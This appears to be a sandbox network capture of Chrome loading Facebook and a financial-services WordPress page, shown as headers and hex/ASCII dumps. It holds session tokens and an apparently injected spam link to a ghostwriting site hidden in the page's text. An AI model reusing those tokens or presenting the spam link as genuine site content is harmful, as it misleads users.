2024-04-11 20:35:57 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:57 UTC	1383	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri
2024-04-11 20:35:57 UTC	2559	IN	Data Raw: 50 72 6f 78 79 2d 53 74 61 74 75 73 3a 20 68 74 74 70 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 3b 20 65 5f 66 62 5f 63 6f 6e 66 69 67 76 65 72 73 69 6f 6e 3d 22 41 63 4a 69 65 48 4b 2d 59 6a 6f 62 78 4c 5a 78 32 57 30 6d 63 7a 65 50 7a 4e 68 6b 75 39 51 79 79 37 65 45 55 47 31 58 4d 62 6f 69 45 7a 37 4c 6f 4a 4b 55 43 68 78 66 33 63 79 63 76 67 22 3b 20 65 5f 63 6c 69 65 6e 74 61 64 64 72 3d 22 41 63 49 44 30 6a 30 65 42 36 7a 38 76 6e 4c 79 58 64 36 75 6c 53 77 63 67 4c 5f 66 6f 37 76 56 57 53 73 34 71 67 77 59 5f 42 34 53 4c 77 4d 47 51 53 56 6d 53 6e 47 78 52 6b 48 65 56 4f 4c 7a 49 46 63 67 4b 4e 5f 5a 38 68 50 31 6f 73 64 49 54 78 79 39 2d 4a 6e 35 43 52 59 46 6c 4c 41 43 39 48 68 32 47 6e 35 66 63 45 30 2d 47 72 33 66 55 51 22 3b 20 65 5f 66 62 5f Data Ascii: Proxy-Status: http_request_error; e_fb_configversion="AcJieHK-YjobxLZx2W0mczePzNhku9Qyy7eEUG1XMboiEz7LoJKUChxf3cycvg"; e_clientaddr="AcID0j0eB6z8vnLyXd6ulSwcgL_fo7vVWSs4qgwY_B4SLwMGQSVmSnGxRkHeVOLzIFcgKN_Z8hP1osdITxy9-Jn5CRYFlLAC9Hh2Gn5fcE0-Gr3fUQ"; e_fb_
2024-04-11 20:35:57 UTC	165	IN	Data Raw: 58 2d 46 42 2d 43 6f 6e 6e 65 63 74 69 6f 6e 2d 51 75 61 6c 69 74 79 3a 20 47 4f 4f 44 3b 20 71 3d 30 2e 37 2c 20 72 74 74 3d 38 32 2c 20 72 74 78 3d 30 2c 20 63 3d 31 30 2c 20 6d 73 73 3d 31 32 37 37 2c 20 74 62 77 3d 33 34 30 34 2c 20 74 70 3d 2d 31 2c 20 74 70 6c 3d 2d 31 2c 20 75 70 6c 61 74 3d 31 31 35 2c 20 75 6c 6c 61 74 3d 30 0d 0a 41 6c 74 2d 53 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=115, ullat=0Alt-Svc: h3=":443"; ma=86400Connection: close
2024-04-11 20:35:57 UTC	1335	IN	Data Raw: 36 62 37 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4d 45 6d 33 68 6f 66 72 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 Data Ascii: 6b7d<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="MEm3hofr">function envFlush(a){function b(b){for(var c in a)b[c]=a
2024-04-11 20:35:57 UTC	1500	IN	Data Raw: 64 69 61 3d 22 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 77 65 62 73 74 6f 72 61 67 65 2f 70 72 6f 63 65 73 73 5f 6b 65 79 73 2f 3f 73 74 61 74 65 3d 31 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 6d 65 64 69 61 3d 22 68 61 6e 64 68 65 6c 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 77 65 62 73 74 6f 72 61 67 65 2f 70 72 6f 63 65 73 73 5f 6b 65 79 73 2f 3f 73 74 61 74 65 3d 31 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f Data Ascii: dia="only screen and (max-width: 640px)" href="https://www.facebook.com/ajax/webstorage/process_keys/?state=1" /><link rel="alternate" media="handheld" href="https://www.facebook.com/ajax/webstorage/process_keys/?state=1" /><meta name="robots" content="no
2024-04-11 20:35:57 UTC	1500	IN	Data Raw: 22 72 22 3a 31 30 30 30 30 2c 22 73 22 3a 31 7d 7d 2c 22 67 6b 78 44 61 74 61 22 3a 7b 22 32 30 39 33 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 34 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 31 30 34 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 37 37 34 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 38 33 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 6e 75 6c 6c 7d 2c 22 32 30 39 33 36 Data Ascii: "r":10000,"s":1}},"gkxData":{"20935":{"result":false,"hash":null},"20939":{"result":true,"hash":null},"20940":{"result":false,"hash":null},"21043":{"result":false,"hash":null},"7742":{"result":false,"hash":null},"20836":{"result":false,"hash":null},"20936
2024-04-11 20:35:57 UTC	1500	IN	Data Raw: 4e 43 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 39 36 37 30 33 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 37 30 38 38 38 36 22 2c 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 45 76 65 6e 74 50 72 6f 66 69 6c 65 72 49 6d 70 6c 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 33 35 22 2c 5b 22 52 75 6e 42 6c 75 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 52 75 6e 42 6c 75 65 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 36 36 39 22 2c 5b 22 44 61 74 61 53 74 6f 72 65 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 44 61 74 61 53 74 6f 72 65 22 2c 6e 75 6c 6c 5d 7d 2c 2d 31 5d 2c 5b 22 53 65 72 76 65 72 4e 6f 6e 63 65 22 2c Data Ascii: NC",null]},-1],["cr:696703",[],{"__rc":[null,null]},-1],["cr:708886",["EventProfilerImpl"],{"__rc":["EventProfilerImpl",null]},-1],["cr:135",["RunBlue"],{"__rc":["RunBlue",null]},-1],["cr:6669",["DataStore"],{"__rc":["DataStore",null]},-1],["ServerNonce",
2024-04-11 20:35:57 UTC	1500	IN	Data Raw: 69 6d 65 6f 75 74 22 3a 36 30 30 30 30 2c 22 74 69 65 72 65 64 4c 6f 61 64 69 6e 67 46 72 6f 6d 54 69 65 72 22 3a 31 30 30 2c 22 68 79 70 53 74 65 70 34 22 3a 66 61 6c 73 65 2c 22 70 68 64 4f 6e 22 3a 66 61 6c 73 65 2c 22 62 74 43 75 74 6f 66 66 49 6e 64 65 78 22 3a 32 32 39 31 2c 22 66 61 73 74 50 61 74 68 46 6f 72 41 6c 72 65 61 64 79 52 65 71 75 69 72 65 64 22 3a 74 72 75 65 2c 22 65 61 72 6c 79 52 65 71 75 69 72 65 4c 61 7a 79 22 3a 66 61 6c 73 65 2c 22 65 6e 61 62 6c 65 54 69 6d 65 6f 75 74 4c 6f 67 67 69 6e 67 46 6f 72 4e 6f 6e 43 6f 6d 65 74 22 3a 66 61 6c 73 65 2c 22 64 65 66 65 72 4c 6f 6e 67 54 61 69 6c 4d 61 6e 69 66 65 73 74 22 3a 74 72 75 65 2c 22 6c 61 7a 79 53 6f 54 22 3a 66 61 6c 73 65 2c 22 74 72 61 6e 73 6c 61 74 69 6f 6e 52 65 74 72 69 Data Ascii: imeout":60000,"tieredLoadingFromTier":100,"hypStep4":false,"phdOn":false,"btCutoffIndex":2291,"fastPathForAlreadyRequired":true,"earlyRequireLazy":false,"enableTimeoutLoggingForNonComet":false,"deferLongTailManifest":true,"lazySoT":false,"translationRetri
2024-04-11 20:35:57 UTC	1500	IN	Data Raw: 6c 73 65 7d 2c 32 37 30 5d 2c 5b 22 4c 53 44 22 2c 5b 5d 2c 7b 22 74 6f 6b 65 6e 22 3a 22 41 56 71 4a 74 37 6d 42 48 30 59 22 7d 2c 33 32 33 5d 2c 5b 22 53 69 74 65 44 61 74 61 22 2c 5b 5d 2c 7b 22 73 65 72 76 65 72 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 32 37 31 36 31 30 31 2c 22 63 6c 69 65 6e 74 5f 72 65 76 69 73 69 6f 6e 22 3a 31 30 31 32 37 31 31 37 39 32 2c 22 70 75 73 68 5f 70 68 61 73 65 22 3a 22 43 33 22 2c 22 70 6b 67 5f 63 6f 68 6f 72 74 22 3a 22 42 50 3a 44 45 46 41 55 4c 54 22 2c 22 68 61 73 74 65 5f 73 65 73 73 69 6f 6e 22 3a 22 31 39 38 32 34 2e 42 50 3a 44 45 46 41 55 4c 54 2e 32 2e 30 2e 2e 30 2e 30 22 2c 22 70 72 22 3a 31 2c 22 6d 61 6e 69 66 65 73 74 5f 62 61 73 65 5f 75 72 69 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 Data Ascii: lse},270],["LSD",[],{"token":"AVqJt7mBH0Y"},323],["SiteData",[],{"server_revision":1012716101,"client_revision":1012711792,"push_phase":"C3","pkg_cohort":"BP:DEFAULT","haste_session":"19824.BP:DEFAULT.2.0..0.0","pr":1,"manifest_base_uri":"https:\/\/static

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.4	50178	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:58 UTC	652	OUT	GET /about-us/ HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:59 UTC	856	IN	HTTP/1.1 200 OK Connection: close Content-Length: 65853 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: text/html; charset=UTF-8 x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff link: <https://www.bfjfinancial.com/wp-json/>; rel="https://api.w.org/" link: <https://www.bfjfinancial.com/wp-json/wp/v2/pages/8>; rel="alternate"; type="application/json" link: <https://www.bfjfinancial.com/?p=8>; rel=shortlink x-fw-dynamic: TRUE x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:59 GMT X-Served-By: cache-ewr18172-EWR, cache-ewr18126-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867759.860584,VS0,VE429 Vary: Accept-Encoding X-FW-Serve: TRUE X-FW-Static: NO X-FW-Type: VISIT
2024-04-11 20:35:59 UTC	16384	IN	Data Raw: 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 Data Ascii: <!DOCTYPE html><html class="no-js" lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="pingback" href="https://www.bfjfinancial.com/xmlrpc.php"><meta name='robots' content='inde
2024-04-11 20:35:59 UTC	16384	IN	Data Raw: 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d 70 6c 61 74 65 2e 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 29 7b 67 61 70 3a 20 31 2e 32 35 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d 70 6c 61 74 65 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 31 2e 32 35 65 6d 3b 7d 2e 68 61 73 2d 62 6c 61 63 6b 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 Data Ascii: s.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(
2024-04-11 20:35:59 UTC	16384	IN	Data Raw: 2d 72 65 67 75 6c 61 72 2d 34 30 30 2e 77 6f 66 66 32 3f 76 65 72 3d 36 2e 34 2e 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 72 6e 65 72 73 74 6f 6e 65 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 66 61 2d 72 65 67 75 6c 61 72 2d 34 30 30 2e 74 74 66 3f 76 65 72 3d 36 2e 34 2e 32 27 29 20 66 6f 72 6d 61 74 28 27 74 72 75 65 74 79 70 65 27 29 3b 7d 5b 64 61 74 61 2d 78 2d 69 63 6f 6e 2d 6f 5d 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 46 6f 6e 74 41 77 65 73 6f 6d 65 52 65 67 75 6c 61 72 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 5b 64 61 74 61 2d 78 2d 69 63 6f 6e 2d 6f 5d 3a 62 65 Data Ascii: -regular-400.woff2?ver=6.4.2') format('woff2'),url('https://www.bfjfinancial.com/wp-content/plugins/cornerstone/assets/fonts/fa-regular-400.ttf?ver=6.4.2') format('truetype');}[data-x-icon-o]{font-family:"FontAwesomeRegular" !important;}[data-x-icon-o]:be
2024-04-11 20:35:59 UTC	16384	IN	Data Raw: 61 6e 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 33 33 33 33 33 33 3b 22 3e 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 33 33 33 33 33 33 3b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 61 75 73 61 72 62 65 69 74 2d 73 63 68 72 65 69 62 65 6e 2e 63 6f 6d 2f 73 65 6d 69 6e 61 72 61 72 62 65 69 74 2d 73 63 68 72 65 69 62 65 6e 2d 6c 61 73 73 65 6e 2f 22 3e 67 68 6f 73 74 77 72 69 74 69 6e 67 20 73 65 6d 69 6e 61 72 61 72 62 65 69 74 20 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 70 61 70 65 72 73 2c 20 74 6f 20 73 75 70 70 6f 72 74 20 6f 75 72 20 63 6c 69 65 6e 74 73 20 61 6e 64 20 74 68 65 69 72 20 66 61 6d 69 6c 69 65 73 20 69 6e 20 61 63 68 69 65 76 69 6e 67 20 74 68 65 69 72 20 65 64 75 63 61 74 69 6f 6e 61 6c 20 67 6f 61 6c 73 20 61 6c 6f 6e Data Ascii: an style="color: #333333;"><a style="color: #333333;" href="https://hausarbeit-schreiben.com/seminararbeit-schreiben-lassen/">ghostwriting seminararbeit </a></span>papers, to support our clients and their families in achieving their educational goals alon
2024-04-11 20:35:59 UTC	317	IN	Data Raw: 76 61 72 20 74 69 6d 65 6c 69 6e 65 5f 65 78 70 72 65 73 73 5f 64 61 74 61 20 3d 20 7b 22 61 6e 69 6d 61 74 69 6f 6e 5f 64 69 73 61 62 6c 65 64 22 3a 22 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 66 6a 66 69 6e 61 6e 63 69 61 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 69 6d 65 6c 69 6e 65 2d 65 78 70 72 65 73 73 2f 6c 69 62 2f 70 75 62 6c 69 63 2f 6a 73 2f 6d 69 6e 2f 74 69 6d 65 6c 69 6e 65 2d 65 78 70 72 65 73 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 61 31 32 34 65 30 39 30 64 37 65 65 39 36 35 66 37 35 66 31 31 64 65 65 31 34 33 31 31 37 64 22 Data Ascii: var timeline_express_data = {"animation_disabled":""};/* ... */</script><script type="text/javascript" src="https://www.bfjfinancial.com/wp-content/plugins/timeline-express/lib/public/js/min/timeline-express.min.js?ver=4a124e090d7ee965f75f11dee143117d"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.4	50177	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:36:00 UTC	651	OUT	GET /wp-content/plugins/types/vendor/toolset/toolset-common/res/lib/font-awesome/css/v4-shims.css?ver=5.13.0 HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.bfjfinancial.com/about-us/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:36:00 UTC	713	IN	HTTP/1.1 200 OK Connection: close Content-Length: 41312 content-type: text/css x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 referrer-policy: no-referrer-when-downgrade x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 etag: "65e5988c-a160" last-modified: Mon, 04 Mar 2024 09:46:52 GMT x-fw-hash: thumialfjs Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:36:00 GMT X-Served-By: cache-ewr18142-EWR, cache-ewr18179-EWR X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867761.632801,VS0,VE252 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:36:00 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 31 33 2e 30 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2e 66 61 2e 66 61 2d 67 6c 61 73 73 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 30 30 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 6d 65 65 74 75 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 Data Ascii: /! Font Awesome Free 5.13.0 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */.fa.fa-glass:before { content: "\f000"; }.fa.fa-meetup { font-f
2024-04-11 20:36:00 UTC	1378	IN	Data Raw: 2d 72 65 70 65 61 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 31 65 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 72 6f 74 61 74 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 31 65 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 72 65 66 72 65 73 68 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 30 32 31 22 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 6c 69 73 74 2d 61 6c 74 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 35 20 46 72 65 65 27 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 20 7d 0a 0a 2e 66 61 2e 66 61 2d 64 65 64 65 6e 74 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 5c 66 Data Ascii: -repeat:before { content: "\f01e"; }.fa.fa-rotate-right:before { content: "\f01e"; }.fa.fa-refresh:before { content: "\f021"; }.fa.fa-list-alt { font-family: 'Font Awesome 5 Free'; font-weight: 400; }.fa.fa-dedent:before { content: "\f
